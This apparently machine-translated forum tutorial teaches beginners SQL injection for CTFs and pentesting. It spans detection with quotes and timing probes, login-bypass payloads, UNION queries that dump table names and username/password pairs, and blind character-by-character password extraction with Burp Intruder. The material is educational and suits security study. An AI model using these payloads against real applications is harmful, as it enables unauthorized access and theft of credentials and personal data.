SQL Injection for Beginners: From Quotes to CTFs part 1

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
790
Reaction score
1,510
How to Detect SQL Injection with Single Quote

Finding SQL injections using single quotes is the first skill that distinguishes a conscious approach from mindlessly running scanners. The idea is simple: the symbol '— a string separator in SQL. If an application inserts input directly into a query without escaping, the extra quote breaks the syntax, and the DBMS returns an error. For more information, see our article on web application pentesting .

Open the search or login form and enter one character in any field. 'and send a request. Then look at the response:

SQL syntax error - direct confirmation. MySQL will return You have an error in your SQL syntax, PostgreSQL — unterminated quoted string, MSSQL — Unclosed quotation markThis is error-based SQL injection in its purest form: the server itself reports that the input was included in the SQL query without processing.
A change in page behavior is indirect confirmation. Results have disappeared, the page is blank, the HTTP status code has jumped from 200 to 500. The app doesn't report the error, but it behaves differently—a reason to dig deeper.
Nothing has changed —the input is likely being filtered or escaped. This isn't a death sentence: move on to other entry points.

Where to test? Don't limit yourself to form fields. According to PortSwigger, web application vulnerabilities like SQL injection occur not only in WHERE-sections SELECT-request, but also in UPDATE, INSERT, in table names, in ORDER BY. In CTFs, injections via cookies and HTTP headers are common ( User-Agent, Referer, X-Forwarded-For) and GET URL parameters. Burp Suite Repeater allows you to modify each element of an HTTP request individually, making it convenient for iterating through entry points during manual web penetration testing.
What to look for in a server response

A single quote isn't enough—after the first signal, confirm the vulnerability with additional tests. According to PortSwigger, manual detection requires systematically checking each entry point:

Boolean conditions. Submit ' OR 1=1-- And ' OR 1=2--If the responses differ (the first returns data, the second does not), you're monitoring the SQL query logic. This is the most reliable indicator.

Arithmetic expressions. Instead of a value 5substitute 4+1The result is the same: the input is interpreted by the DBMS as an expression, not as a literal string.

Temporary delays. Payload ' OR SLEEP(5)--(MySQL) or '; WAITFOR DELAY '0:0:5'--(MSSQL) will cause a response delay. The page will pause for exactly the specified time—an SQL injection is confirmed, even if the server shows no errors or data. This is the basis of time-based blind SQL injection.

OAST probes. Payloads that initiate a DNS request to a controlled server. Rarely seen in CTFs, but indispensable in real-world pentesting.

classification According to the MITRE ATT&CK , manual search for injections falls under the Reconnaissance - Vulnerability Scanning (T1595.002) tactic, and successful exploitation falls under Initial Access via Exploit Public-Facing Application (T1190).
Bypassing authorization via SQL injection in CTF

Bypassing SQL injection authorization is a classic entry-level CTF challenge and, at the same time, a real attack vector that still pops up in production system penetration tests. According to MITRE ATT&CK, the result is Valid Accounts (T1078): the attacker logs in under a legitimate account without knowing the password.

Present the server code of the login form. The application takes username And passwordfrom the fields and substitutes them directly into SQL:

-- Оригинальный запрос на сервере
SELECT * FROM users
WHERE username = '[ВВОД]' AND password = '[ВВОД]'

-- В поле username вводим: admin'--
-- СУБД получает:
SELECT * FROM users
WHERE username = 'admin'--' AND password = 'anything'

Two hyphens --— a single-line comment in SQL. The DBMS ignores everything after them. The password check disappears. The database executes SELECT * FROM users WHERE username = 'admin', returns the administrator string, and the application considers authorization successful. Beautiful.

Remember not just one payload, but a family. Here are SQL injection payload variations for bypassing authorization via SQL injection for different situations:

' OR '1'='1'--— returns all rows of the table. The first row is usually the administrator.
' OR '1'='1'/*- block comment instead --. Saves when a double hyphen is filtered.
admin'#— comment via #, works in MySQL.
' OR 1=1 LIMIT 1--- limits the result to one row when the application crashes on multiple returns.

The attack's business logic: having gained access to the admin account, the attacker reads other users' data, changes settings, and uploads files. In a CTF, this is the flag. In the real world, according to OWASP, SQL injection allows not only to read sensitive data (passwords, credit card information, personal data) but also to modify or delete it, execute administrative commands on the DBMS, and, in some cases, access commands at the operating system level.
UNION-based SQL injection: extracting data from a database

If bypassing authorization means "logging in without a password," then union-based SQL injection means "reading everything in the database." According to MITRE ATT&CK, this tactic is Collection - Databases (T1213.006): the targeted extraction of data from a DBMS.

Operator UNIONin SQL combines the results of two SELECT-queries in one set of lines. To UNIONFor this to work, two conditions must be met: the number of columns in both queries must be the same, and the data types must be compatible.
Determine the number of columns

Before constructing a UNION query, you need to know the structure of the original query. Two approaches that work for most CTF problems:

Using ORDER BY. Substitute ' ORDER BY 1--, Then ' ORDER BY 2--, and so on. When the number exceeds the actual number of columns, the server will return an error. ' ORDER BY 3--works, but ' ORDER BY 4--— No? There are exactly 3 columns in the query.

Using UNION SELECT NULL. Substitute ' UNION SELECT NULL--, then ' UNION SELECT NULL,NULL--, then ' UNION SELECT NULL,NULL,NULL--. As soon as the quantity NULLmatches the number of columns - the query will run without an error. Use NULL, and not specific values, because NULLCompatible with any data type. This tip is straight from the PortSwigger methodology—it saves time guessing types.
We read other people's tables

Once the number of columns is determined, the fun part begins: data extraction. A typical workflow for MySQL and PostgreSQL:

-- Шаг 1: названия таблиц в текущей БД
?id=1' UNION SELECT table_name,NULL
FROM information_schema.tables
WHERE table_schema=database()--

-- Шаг 2: столбцы целевой таблицы
?id=1' UNION SELECT column_name,NULL
FROM information_schema.columns
WHERE table_name='users'--

-- Шаг 3: данные
?id=1' UNION SELECT username,password FROM users--

System base information_schemaContains metadata about all tables and columns—the main reconnaissance tool for UNION attacks. In CTFs, the required data is usually stored in a table. users, flag or secrets.

If your application only outputs data from one column, use concatenation: in MySQL - CONCAT(username,0x3a,password) (Where 0x3a— colon in hex), in PostgreSQL — username||':'||password. Multiple values are packed into a single output line. According to Invicti's cheat sheet, the hex encoding of strings ( 0x61646D696Einstead of 'admin') additionally helps to bypass quote filtering.
Boolean-based и blind SQL injection

Not every application displays query results or error text. This is where blind SQL injection comes into play—the data isn't directly visible, but you can ask the database questions with TRUE or FALSE answers and observe the application's behavior.

Boolean-based SQL injection is based on a simple principle: you send two queries - one with a known true condition ( AND 1=1), the other with a false ( AND 1=2) — and compare the responses. The page is different (different content, different HTTP code, presence or absence of an element) — the condition in the SQL query is under your control.

A typical example from CTF: the application uses tracking cookies and performs SELECT trackingId FROM someTable WHERE trackingId = '<COOKIE-VALUE>'The query returns a string—"Welcome back" appears on the page. It doesn't—the text is missing. This binary distinction is sufficient for complete data extraction.
Character-by-character data extraction

How do you find a SQL vulnerability in a BLIND script and extract data from it? The process is consistent and methodical—there's no rush:

Vulnerability Confirmation. Cookie: TrackingId=abc' AND 1=1--— «Welcome back» on the page. Cookie: TrackingId=abc' AND 1=2--— the text is gone. Behavior changes—the vulnerability exists.

Checking if a table exists. Payload: abc' AND (SELECT 'x' FROM users LIMIT 1)='x'--"Welcome back" appears - table usersexists. You are substituting a non-existent name ( usersXYZ) — the text disappears. Control confirmed.

Defining password length. Payload: abc' AND (SELECT username FROM users WHERE username='administrator' AND LENGTH(password)=20)='administrator'--You cycle through the length values: 1, 2, 3... When the number matches, "Welcome back" appears. In Burp Suite Intruder, automation takes less than a minute: enter a numeric payload for the length position, execute the Sniper attack, and you're done.

Character-by-character extraction. Payload: abc' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--Function SUBSTRING(password,1,1)takes the first character of the password and compares it to the literal. Iterate a-z, 0-9for each position. In Burp Intruder, use Cluster Bomb: payload 1 is the character position (1-20), payload 2 is the alphabet. For a 20-character password with a 36-character alphabet, the maximum is 720 queries. Burp Intruder completes the task in a couple of minutes.

For the time-based variant (when there is no visual difference in the responses at all), a delay is used: abc' AND IF(SUBSTRING(password,1,1)='a', SLEEP(3), 0)--will delay the response for 3 seconds if a character matches. In PostgreSQL, the equivalent is pg_sleep(3), в MSSQL — WAITFOR DELAY '0:0:3'.
 
Top Bottom